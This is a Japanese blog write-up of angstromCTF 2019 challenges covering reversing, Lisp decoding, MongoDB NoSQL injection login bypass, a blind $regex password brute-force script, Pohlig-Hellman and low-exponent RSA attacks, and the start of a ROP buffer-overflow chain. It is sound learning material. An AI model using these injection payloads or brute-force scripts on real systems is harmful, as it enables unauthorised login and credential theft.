| |||||||   0x00400a24      85c0           test eax, eax
| ========< 0x00400a26      742c           je 0x400a54
| |||||||   0x00400a28      488b45f8       mov rax, qword [local_8h]
| |||||||   0x00400a2c      be6c000000     mov esi, 0x6c               ; 'l' ; 108
| |||||||   0x00400a31      4889c7         mov rdi, rax
| |||||||   0x00400a34      e834fdffff     call sym.z
| |||||||   0x00400a39      85c0           test eax, eax
| ========< 0x00400a3b      7417           je 0x400a54
| |||||||   0x00400a3d      488b45f8       mov rax, qword [local_8h]
| |||||||   0x00400a41      4889c7         mov rdi, rax
| |||||||   0x00400a44      e840feffff     call sym.s
| |||||||   0x00400a49      85c0           test eax, eax
| ========< 0x00400a4b      7407           je 0x400a54
| |||||||   0x00400a4d      b801000000     mov eax, 1
| ========< 0x00400a52      eb05           jmp 0x400a59
| ```````-> 0x00400a54      b800000000     mov eax, 0
|           ; CODE XREF from sym.check (0x400a52)
| --------> 0x00400a59      c9             leave
\           0x00400a5a      c3             ret

あああ、なんかヤバそう。radare2さんjumpが表現しきれてない…。
根性が必要そう…

ここで競技中解くことを諦めた根性なしでした。

他の方のwrite-up

やっぱり根性が必要みたい。
ただし、「Ghidraでデコンパイル」ということで、Ghidraを使うとかなり自然言語に近い形に変換してくれる様子。
これがあってもなお面倒そうだったので、同じような問題が出てきても手を付ける可能性は低そう…。

angstromCTF 2019 writeup - 未経験からプロになる!!

こちらはIDAを駆使?途中で推測もしているが、基本全関数のアセンブラを解読している。
皆さんこの問題にどれくらい時間かけたのだろう。Ghidraを使うと時間が大分短縮できるんだろうか。それともやっぱりアセンブラに慣れると早く読めるのかな (ತಎತ)

[Misc] Lithp (60pt)

My friend gave me this program but I couldn't understand what he was saying - what was he trying to tell me?

DLできるprogramはなんと lithp.lisp, lispである。。。初めて。

;LITHP

(defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312))
(defparameter *flag* '(redacted))
(defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20))

(defun enc (plain)
    (setf uwuth (multh plain))
    (setf uwuth (owo uwuth))
    (setf out nil)
    (dotimes (ind (length plain) out)
        (setq out (append out (list (/ (nth ind uwuth) -1))))))
    
(defun multh (plain)
    (cond
        ((null plain) nil)
        (t (cons (whats-this (- 1 (car plain)) (car plain)) (multh (cdr plain))))))

(defun owo (inpth)
    (setf out nil)
    (do ((redth *reorder* (cdr redth)))
        ((null redth) out)
        (setq out (append out (list (nth (car redth) inpth))))))

(defun whats-this (x y)
    (cond
        ((equal y 0) 0)
        (t (+ (whats-this x (- y 1)) x))))

;flag was encrypted with (enc *flag*) to give *encrypted*

解読すれば解けそう…と思ってpythonに直したりしてみたが、時間内にはflagにいきつかなかった。
Lisp、カッコが凄いという噂は聞いていたけど、ほんとカッコだらけ。何個括弧があるのかもはや数えられん。
記法も他の言語と結構違うので、マクロの意味を全部調べながら解読するのはかなり時間がかかった。。。

他の方のwrite-up

なんとなくの処理を理解してから、「こうやったらとけるんじゃね?」というので検証してみている。私もこのアプローチのほうが向いていたかも。2つ目に至っては、もはや換字暗号の解き方になっている。

こちらは、簡単に各関数が何をしているか解読してから逆処理をかけています。

  • enc: plain に対して multh -> owo 呼び出し、全ての成分の正負反転
  • multh: 再帰になっていますが、listのそれぞれの成分 a について -a*(a-1) を返します
  • owo: reorder 配列の順序で並べ替え
  • whats-this: x * y

ちなみに、multh 関数の - については、 enc 関数の正負反転と相殺できるので無視します。
ということで、ここまでわかれば

  • encrypted 配列に対して、reorder 配列を参考に並べ替え
  • 並べ替えた配列の全ての要素 x に対して、 x = y * (y-1) になる y を探す

plain が求まりそうです。

#!/usr/bin/env python3

encrypted = [8930, 15006, 8930, 10302, 11772, 13806, 13340, 11556, 12432, 13340, 10712, 10100, 11556, 12432, 9312, 10712, 10100, 10100, 8930, 10920, 8930, 5256, 9312, 9702, 8930, 10712, 15500, 9312]
reorder = [19, 4, 14, 3, 10, 17, 24, 22, 8, 2, 5, 11, 7, 26, 0, 25, 18, 6, 21, 23, 9, 13, 16, 1, 12, 15, 27, 20]

ordered = [''] * len(reorder)
for i in range(len(reorder)):
    ordered[reorder[i]] = encrypted[i]

decrypted = ''
for c in ordered:
    for y in range(0xff):
        if c == y*(y-1):
            decrypted += chr(y)

print(decrypted)

実行結果

$ python solve.py 
actf{help_me_I_have_a_lithp}

意外にLispをそのまま読んでアプローチしているwrite-upが少なくて驚いた。

[Web] No Sequels (50pt)

The prequels sucked, and the sequels aren't much better, but at least we always have the original trilogy.

Hint

MongoDB is a safer alternative to SQL, right?

リンク先に飛んでみると、ログインフォームとコードが。

f:id:kusuwada:20190509104828p:plain

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
    // monk instance
    var db = req.db;

    var user = req.body.username;
    var pass = req.body.password;

    if (!user || !pass){
        res.send("One or more fields were not provided.");
    }
    var query = {
        username: user,
        password: pass
    }

    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.send("Wrong username or password");
            return
        }

        res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
        res.redirect("/site");
    });
});

問題文が No Sequels とあることと、ヒントに MongoDB とあるので、MongoDBが採用されているっぽいことがわかる。
NoSQLなので SQL injection は使えないが、 No SQL injection が何か使えそう。

req.body.passwordreq.body.username が文字列かどうかを確認せずそのまま query に突っ込んでいるため、オブジェクトもそのまま評価させることができてしまいます。

更に、このサイトは構文からNode.jsで動いているようです。Node.jsはパラメータをJSON形式で受け取ることもできるので、jsonオブジェクトをそのまま送ると攻撃が成功しそう。

このあたりの記事を参考に、攻撃コードを組んでみました。

#!/usr/bin/env python3

import requests

url = 'https://nosequels.2019.chall.actf.co/login'
cookies = dict()

# get token
res = requests.get(url)
token = res.cookies['token']
cookies = dict(token=token)

# login
payload = {"username": {"$gt": ""}, "password": {"$gt": ""}}
res = requests.post(url, cookies=cookies, data=payload)
print(res.text)

理解があまりできてないままに適当に入れたので良くなかったのですが、方向性はあっていたみたい。

ここまでが競技時間。

他の方のwrite-up

下記のwrite-upを見ながらお勉強

既にサーバーが閉じてしまったので攻撃が成功するかは定かではありませんが。。。

payload = {"username":"admin","password":{"$ne":0}}

とすると、password0でないadminユーザーというクエリになり、adminとしてログインすることができる。
今回の場合はadminとしてログインする必要もなく、なにかレコードが引っかかればOKなので

payload = {"username":{"$ne": null},"password":{"$ne": null}}

として、passwordnullでなく、usernamenullでないレコードを抽出するqueryにしても良かったみたい。

[Web] No Sequels 2 (80pt)

This is the sequel to No Sequels. You’ll see the challenge page once you solve the first one.

No Sequels の続きの問題で、解けたらchallenge pageが出てきたようです。adminのパスワードを当てる問題のようです。

このページを見てお勉強。

降ってくる問題ページは下記。

router.post('/site', verifyJwt, function (req, res) {
    // req.user is assigned from verifyJwt
    if (!req.user.authenticated || !req.body.pass2) {
        res.send("bad");
    }
 
    var query = {
        username: req.user.name,
    }
 
    var db = req.db;
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
        if (!user){
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
        }
        var pass = user.password;
        var message = "";
        if (pass === req.body.pass2){
            res.render('final');
        } else {
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
        }
 
    });
 
});

finalページにflagが書かれていそう。
$regex 演算子を使って一文字ずつ総当たりで特定していくらしい。ここは SQL injection のブラインドInjectionと同じで、使う演算子や関数が違うだけの印象。覚えておきたい所。

1問目と同じように、jsonのフォームを受け付けてしまうので、下記の $regex 演算子を使った攻撃が成功しそうだとあたりをつけるようです。

{
username: "admin",
passsword: {"$regex": "^<testing pw goes here>"}
}

下記は参考write-upのコードをそのまま。password候補の文字列はどうやって決め打ちしたんだろう?記号とか大文字って区別されないのかな? string.ascii_letters で回している人もいるし、 string.letters + string.digits で回してる人もいるし、string.printableの人もいる…。
とにかく、候補の文字列を前から一文字ずつ突っ込んでいき、通ったら確定、次の文字に進む。ブラインドInjectionの手法そのままです。

import json
import requests
import string

URL = 'https://nosequels.2019.chall.actf.co/login'
res = ''

while True:
  for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
    r = requests.post(URL, cookies={
      'token': '…'
    }, headers={
      'Content-Type': 'application/json'
    }, data=json.dumps({
      'username': 'admin',
      'password': {
        '$regex': '^' + res + c +'.*'  # 最後の '.*' はどうせregexで前方一致しか見ていないので不要
      }
    }))
    if b'Wrong username or password' not in r.content:
      res += c
      break
  else:
    print(':(')
  print(res)

ふむ。やってみたかったなー。

[Crypto] Paint (100pt)

This amazing new paint protocol lets artists share secret paintings with each other! Good thing U.S. Patent 4200770 is expired.

提供されるファイルは下記。 paint.py

import binascii
import random

from secret import flag

image = int(binascii.hexlify(flag), 16)

palette = 1 << 2048
base = random.randint(0, palette) | 1
secret = random.randint(0, palette)
my_mix = pow(base, secret, palette)

print('palette: {}'.format(palette))
print('base: {}'.format(base))
print('my mix: {}'.format(my_mix))

your_mix = int(input('your mix: '))

shared_mix = pow(your_mix, secret, palette)
painting = image ^ shared_mix
print('painting: {}'.format(painting))

paint.txt

palette: 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656
base: 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
my mix: 6870295205307030503255600311283969014496436297715066273709495591567561187646528069669895230912327862244474990612611625088862250315706633708998214109152824455738719595737772769297517386968692628228327225922261219083693899105983726637012353264168761696183327692619506267951701511870035935612090359086376808592001973358166067468618577312983514388332736591060901174314042634365304017788649960016991442596975922402288221898367955532116456798868804571091463566329706023967280838744359633963847966790121312196824818606244189274966061324393424041211903396020720341163472399763951106703068172772579049891895580785347369093113
your mix: 14317253516668543276504878316838097235650210449758621543536146016892160048656997634541093315774403078357942150970695487937570449270120625898199254439189104072891595263513437420116930684308702803055295267600790477195902538538739117809573391251939794413361184343367694928615752045687223262368136262534778688889202144260002584306527206705616186699377315031757095455954292951059462279988296369935635246644221722025457496936215039008069820514166063271894671978845634968761626636993374291118230179892722513818307254406450607168911057458141649111515924404215975886422961651958216688209696158879621701708955382424640000048217
painting: 17665922529512695488143524113273224470194093921285273353477875204196603230641896039854934719468650093602325707751566466034447988065494130102242572713515917910688574332104680867377750329904425039785453961697828887505197701127086732126907914324992806733394244034438537271953062873710421922341053639880387051921552573241651939698279628619278357238684137922164483956735128373164911380749908774512869223017256152942356111845682044048514917460601214157119487675633689081081818805777951203838578632029105960085810547586385599419736400861419214277678792284994133722491622512615732083564207280344459191773058670866354126043620

問題文の末尾の

Patent 4200770 is expired.

についてググってみると、論文っぽいものが。

US4200770A - Cryptographic apparatus and method - Google Patents

英語しか無いし全部目を通すのは厳しい・・・。
が、どうやら Diffie-Hellman 鍵交換の特許のことを指しているっぽい。

概念理解に時間がかかりそうなので、後回しにしていたら競技が終了してしまった。

他の方のwrite-up

いくつかwrite-upを見ましたが、私の理解が全く追いついていなく、エスパーに見えるものが多かったです…(˘•ω•˘)
そんな中から、今回は下記を参考にさせていただきました。

問題スクリプト解析

そもそも

palette = 1 << 2048

この表記、言われてみればそうだよなぁ…なんだけど、これが 2^2048 を表す、というのも眠い頭ではピンときていなかった。
また、

base = random.randint(0, palette) | 1

random.randint(0, palette) は、 0 <= n <= palette(2^2048) のランダムな整数を返します。
ここで出てくる演算子 | は ビットOR を示しています。あまり使わないので調べるまで思い出せませんでした…。

問題の条件を整理します。

  • 与えられているのは palette, base, my_mix, your_mix, painting
  • flagを得るには image を得る必要があり、 painting = image xor shared_mix
  • shared_mixpow(your_mix, secret, palette), すなわち your_mix**secret mod pallet
  • secretmy_mix = pow(base, secret, palette) を満たす

ここ、飛んでしまいますが、今回は、結局Diffie-Hellmanではなく Pohlig-Hellmanアルゴリズムが使えたようです。

みな何故そう思ったの? 🤔🤔🤔

解法からお勉強 ~離散対数問題~

write-upからは(私が初心者過ぎて)そもそも何故この Pohlig-Hellman に辿り着くのかよくわからなかったので、Pohlig-Hellman側から調べてみます。

そもそも 離散対数問題 とは、というところからはじめて、離散対数問題を高速に解く方法をまとめてくれているので初学者的には読みやすかった!

今回、ここで紹介されている離散対数問題の数式 g^x ≡ y (mod p) に当てはめると

  • g: base
  • x: secret
  • y: my_mix
  • p: palette

となります。このとき、secret から my_mix を計算することは容易だが、逆が困難であることを、離散対数問題と呼ぶそうです。

公開鍵暗号方式では、このことを安全性の根拠とした暗号アルゴリズムがいくつか考案されている。CTFでは、この離散対数を解き、暗号の秘密鍵を特定する問題が出題される。

フムフム。

離散対数問題に対するアプローチとして、下記3つを紹介されている。

列挙法

列挙法は最もシンプルな手法であり、上式において、x=1,2,3,4,...に対して合同式が成り立つかどうかを一つひとつ確認していく方法である。ただし、gの位数が大きいときは膨大な試行数になるため現実的ではない。オーダーはO(n)

ångstromCTF 2019 Writeup - よっちんのブログ の解法がこれにあたりそう

この解法でも自分の環境で20秒強で解くことが出来た。

Baby-step Giant-step algorithm

Baby-step Giant-step algorithmは列挙法による試行数を削減したアルゴリズムであり、オーダーはO(√n logn)となる。

詳細な手順は参考リンク先に。

Pohlig–Hellman algorithm

Pohlig–Hellman algorithmは、g^x ≡ y (mod p) に対し、ϕ(p)の素因数が小さいときに有効に働くアルゴリズムである。ここでϕ(n)とはオイラー特性関数であり、nより小さい自然数のうちnと互いに素なものの個数を示し、特にn素数の場合はϕ(n)=n−1となる。

解法からお勉強 ~解法の導き方から解答まで~

今回、p2^2048 であるので、ϕ(p)の素因数は 2 になります。このため、この Pohlig–Hellman algorithm が使えそう!という判断になるようです。

Pohlig–Hellman algorithmのアイデアとしては、gの位数が大きすぎて総当たりが困難だったものを、gの位数が小さな離散対数問題に分割して解き、後で結合するといったものである。

g、すなわち base の位数については、いくつかのwrite-upに 2045 とあるが、導き方が載っていない。

ctf-writeups/Paint.md at master · wborgeaud/ctf-writeups · GitHub

ここが参考になりそうな気がするが、明確な求め方がわからなかった。

…とぼやいていたら、@kaito_tateyama さんが教えてくれました!超感謝!

手書きメモの解説と、ここで紹介されている

も必見。

※手書きメモ起こし

  1. まず、フェルマーの小定理の拡張、オイラーの定理より
    φ(22048) = 22047
    位数 e は 22047 より小さいと分かる
  2. 次に、カーマイケルの定理より
    λ(n) = 2n-2 = 22046
    の約数が e になるとわかる
    つまり、20, 21, 22, ... 22046 の2047個を調べ、最小のものが位数になる
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

base = 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
phi = 2

for i in range(2048):
    a =  pow(base, phi**i, phi**2048)
    if a == 1:
        print(i)

実行結果

$ python solve_1.py 
2045
2046
2047

ここで得られる最小のものが e になるので、 e = 2045 がわかる。

今までの話から Pohlig–Hellman algorithm を使うこと、e = 2045 であることがわかったので、下記のスクリプトx = secret が求まる。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# this code is refers bellow
# https://qiita.com/taiyaki8926/items/3e0768893ba87278d889#paint

from Crypto.Util.number import inverse

# base
g = 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
# palette
p = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656
# my_mix
y = 6870295205307030503255600311283969014496436297715066273709495591567561187646528069669895230912327862244474990612611625088862250315706633708998214109152824455738719595737772769297517386968692628228327225922261219083693899105983726637012353264168761696183327692619506267951701511870035935612090359086376808592001973358166067468618577312983514388332736591060901174314042634365304017788649960016991442596975922402288221898367955532116456798868804571091463566329706023967280838744359633963847966790121312196824818606244189274966061324393424041211903396020720341163472399763951106703068172772579049891895580785347369093113

phi = 2
e = 2045

# Pohlig-Hellmanのアルゴリズム
x = [0]
gamma = pow(g, phi ** (e-1), p)
for k in range(e):
    y_k = (pow(inverse(g, p), x[k], p) * y) % p
    y_k = pow(y_k, phi ** (e-1-k), p)
    if y_k == gamma:
        d_k = 1
    else:
        d_k = 0
    x.append(x[k] + (phi ** k) * d_k)

# secret
print(x[-1])

実行結果

$ python solve.py 
629921607003244034334739296597900783683872903809471621783318441724296155260647861566002145401774841786965516424821133148061140507283116747339148975177513485103967011207217568924993463569559551429141756952018711071204949930416859383037306197953684591391066287527469114753495090054370608519379326915615068308557735119497576999275516623932355604742058855833591651141407379343873413310424307672368844204423176033536465560324264458606570832918771689488513626547477988015235832957445514499444921298913651835294484177694907540420778298030233425343791552742606481998105977335541679798111463675261162481691943108104757462361

これがsecret。
ここまで求まれば、後は shared_mix = your_mix**secret mod pallet, painting = image xor shared_mix の条件からflagが求まります。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import long_to_bytes

secret = 629921607003244034334739296597900783683872903809471621783318441724296155260647861566002145401774841786965516424821133148061140507283116747339148975177513485103967011207217568924993463569559551429141756952018711071204949930416859383037306197953684591391066287527469114753495090054370608519379326915615068308557735119497576999275516623932355604742058855833591651141407379343873413310424307672368844204423176033536465560324264458606570832918771689488513626547477988015235832957445514499444921298913651835294484177694907540420778298030233425343791552742606481998105977335541679798111463675261162481691943108104757462361
your_mix = 14317253516668543276504878316838097235650210449758621543536146016892160048656997634541093315774403078357942150970695487937570449270120625898199254439189104072891595263513437420116930684308702803055295267600790477195902538538739117809573391251939794413361184343367694928615752045687223262368136262534778688889202144260002584306527206705616186699377315031757095455954292951059462279988296369935635246644221722025457496936215039008069820514166063271894671978845634968761626636993374291118230179892722513818307254406450607168911057458141649111515924404215975886422961651958216688209696158879621701708955382424640000048217
painting = 17665922529512695488143524113273224470194093921285273353477875204196603230641896039854934719468650093602325707751566466034447988065494130102242572713515917910688574332104680867377750329904425039785453961697828887505197701127086732126907914324992806733394244034438537271953062873710421922341053639880387051921552573241651939698279628619278357238684137922164483956735128373164911380749908774512869223017256152942356111845682044048514917460601214157119487675633689081081818805777951203838578632029105960085810547586385599419736400861419214277678792284994133722491622512615732083564207280344459191773058670866354126043620
palette = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656

# shared_mix = your_mix**secret mod pallet
# painting = image xor shared_mix

shared_mix = pow(your_mix, secret, palette)
image = painting ^ shared_mix
flag = long_to_bytes(image)
print(flag)

実行結果

$ python solve_2.py 
b'actf{powers_of_two_are_not_two_powerful}'

kaitoさんに感謝!

[Crypto] WALL-E (130pt)

My friend and I have been encrypting our messages using RSA, but someone keeps intercepting and decrypting them! Maybe you can figure out what's happening?

配布された pythonコード wall-e.py と txt wall-e.txt

from Crypto.Util.number import getPrime, bytes_to_long, inverse
from secret import flag

assert(len(flag) < 87) # leave space for padding since padding is secure

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 3
d = inverse(e,(p-1)*(q-1))
m = bytes_to_long(flag.center(255,"\x00")) # pad on both sides for extra security
c = pow(m,e,n)
print("n = {}".format(n))
print("e = {}".format(e))
print("c = {}".format(c))
n = 16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409
e = 3
c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989

これは e が非常に小さいときの RSA 暗号に対する攻撃ができそう。
RSA暗号運用でやってはいけない n のこと #ssmjp
の「その6: eの値が小さすぎてはいけない」である。この場合、Low Public Exponent Attackが適用可能。

毎回引用させていただいている

Low Public-Exponent Attack - akashisnの日記 より、

暗号文cが以下で与えられており、 c ≡ me mod n mについて以下の条件を満たす時、 m < nのe乗根 mod nの影響を受けないので、 m = cのe乗根 cのe乗根を取るとmが求まる。

ということで、paddingがなければ

c = m^e mod n  # mod n is no operation
c = m^e
m, result = gmpy2.iroot(c,e)  # use python gmpy2

などとして平文を求めることが出来ます。

一方、wall-e.py の方で問題なのは、平文である m に対して、\x00埋めの処理が実施されていること。これによって m の長さが伸ばされています。
mの値が大きいと、 Low Public Exponent Attack の条件を満たせないのでそのままでは使えなくなってしまう。
この両端の 0 padding が WALL っていう出題意図なのかな??

ここまでで競技時間終了。

他の方のwrite-up

特に定理などを使っているわけではないけども、同じ考え方で解いている。
この2つのwrite-upを参考にして解いてみます。
下の方の記事でリンクのある ctf/2018-12-08-hxp/crypto_daring at master · p4-team/ctf · GitHub こちらの別のwrite-upも参考になりました。

上記の通り、

c = m^e mod n

ここに新しくpaddingとしてm1を追加すると、

c = (m*m1)^e mod n
c = (m^e * m1^e) mod n

となり、更に

adding zero padding here can be viewed simply as bit-shifting left, so just simple multiplication. Each 0 byte added to the plaintext as padding is just multiplying plaintext by 256.

とみなすことができるため

c = (m^e * 256^e) mod n

となります。
このように \x00 のpaddingを追加していくと、

m1 = m * 256
m2 = m * 256 * 256
...
mP = m * 256 * 256 * ....
   = m * 256^P   # Pは0paddingのbyte数

となります。

さて、与えられたプログラムの最初に

assert(len(flag) < 87) # leave space for padding since padding is secure

という記述があります。ということで、flagは少なくとも87文字未満、paddingは flag.center(255,"\x00") の式で作成されるため、左右の 0 padding は (255-87)/2 = 84 文字以上ということになります。
暗号化前の平文は下記のようになります。

\x00\x00\x00\x00..\x00falgflagflag..flagflag\x00\x00\x00\x00..\x00
(255-(len(flag)))/2          len(flag)      (255-(len(flag)))/2  

上記の情報から、flag部分とpadding部分を分離して変形すると下記のようになります。

m = flag * (256^P)
pow(m, e, n) = pow(flag, e, n) * pow(256^P, e, n)
pow(flag, e, n) = c * inverse(pow(256^P, e, n), n)

ここで右辺を計算してやれば pow(flag, e, n) が求まります。
更に、まだpaddingが切り取りきれていないため、 mod n の影響を考慮してやる必要があります。

Now if we check this with some example, we will see that the plaintext is still 1 byte too long. This means that still flag3 > n so the ciphertext we have was cut by mod n operation. But we know that it can't have overflown too much, so we can just brute-force it.

We pretty know that flag3 = ct + kn, for some small k. We can loop over some values for k and see when ct + kn is a cube:

ということで、上記の説明の k に当たる部分をブルートフォースで求めていきます。
計算結果が平方根になるまで回します。

#!/usr/bin/env python3

from Crypto.Util.number import inverse
from Crypto.Util.number import long_to_bytes
import gmpy2

n = 16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409
e = 3
c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989

P = (255-87)//2  # 84
c2 = c * inverse(pow(256**P, e, n), n)
c2 %= n

k = 0
while True:
    print(k)
    m, result = gmpy2.iroot(c2 + (k*n), e)
    if result:
        print(b'flag:' + long_to_bytes(m))
        break
    k += 1

実行結果

(前略)
6886
6887
b'flag:actf{bad_padding_makes_u_very_sadding_even_if_u_add_words_just_for_the_sake_of_adding}'

結局flagは86文字でしたね。

[Binary] Chain of Rope (80pt)

defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they're super overpriced! He managed to get the source code. Can you get him a rope chain without paying?

/problems/2019/chain_of_rope/

nc shell.actf.co 19400

配布されたのは実行ファイルとソース。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
    userToken = 0x1337;
    return 0;
}

int addBalance (int pin) {
    if (userToken == 0x1337 && pin == 0xdeadbeef) {
        balance = 0x4242;
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

int flag (int pin, int secret) {
    if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
        printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
        system("/bin/cat flag.txt");
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

void getInfo () {
    printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char name [32];
    printf("--== ROPE CHAIN BLACK MARKET ==--\n");
    printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
    printf("What would you like to do?\n");
    printf("1 - Set name\n");
    printf("2 - Get user info\n");
    printf("3 - Grant access\n");
    int choice;
    scanf("%d\n", &choice);
    if (choice == 1) {
        gets(name);
    } else if (choice == 2) {
        getInfo();
    } else if (choice == 3) {
        printf("lmao no\n");
    } else {
        printf("I don't know what you're saying so get out of my black market\n");
    }
    return 0;
}

今回も flag() 関数が用意されていますが、そのままでは呼ばれないようです。
このタイトルとソース、最近picoCTF2018で見た気がするぞ…!

ソースを見てみると、順にそれぞれの関数を呼び出す必要があります。flag関数から逆にたどってみます。

  • flag(int pin, int secret)
    • userToken == 0x1337
    • balance == 0x4242
    • pin == 0xba5eba11
    • secret == 0xbedabb1e

userToken, balance はここに来るまでに設定されている必要があります。
userTokenauthorize()関数で、 balanceaddBalance() 関数で設定できますが、 addBalance() 関数は中で userToken の確認をしているので先に authorize() 関数を呼ぶ必要があります。

これらの情報を整理すると

  1. authorize()
  2. addBalance( pin=0xdeadbeef )
  3. flag( pin=0xba5eba11, secret=0xbedabb1e )

この順で呼び出すとflagが貰えそうです。

今回攻撃に使えそうなのは、main関数の choice 1 の入力。sizeは32, gets関数なので Buffer Overflow の脆弱性があります。

それぞれの関数のアドレスを見てみます。

[0x004010b0]> afl
(略)
0x00401196    1 21           sym.authorize
0x004011ab    5 64           sym.addBalance
0x004011eb    7 103          sym.flag
0x00401252    1 38           sym.getInfo
0x00401278    8 288          main

また、それぞれの関数の引数はこんな感じ

authorize

/ (fcn) sym.authorize 21
|   sym.authorize ();

addBalance

/ (fcn) sym.addBalance 64
|   sym.addBalance (int arg1);
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg1 @ rdi

flag

/ (fcn) sym.flag 103
|   sym.flag (int arg1, int arg2);
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg1 @ rdi
|           ; arg int arg2 @ rsi

この情報と必要な引数情報から、下記のように組み立てられると良さそうです。

0x30 + 0x8 | buffer
       0x8 | address authorize()
       0x8 | pop rdi
       0x8 | arg addBalance pin()  # rdi
       0x8 | address addBalance()
       0x8 | pop rdi, rsi
       0x8 | arg flag pin()  # rdi
       0x8 | arg flag secret()  # rsi
       0x8 | address flag()

次に、使えそうな pop 命令をradare2を使って探します。

[0x004010b0]> /R pop
  0x0040116e             4889e5  mov rbp, rsp
  0x00401171         e87affffff  call 0x4010f0
  0x00401176     c6050b2f000001  mov byte [rip + 0x2f0b], 1
  0x0040117d                 5d  pop rbp
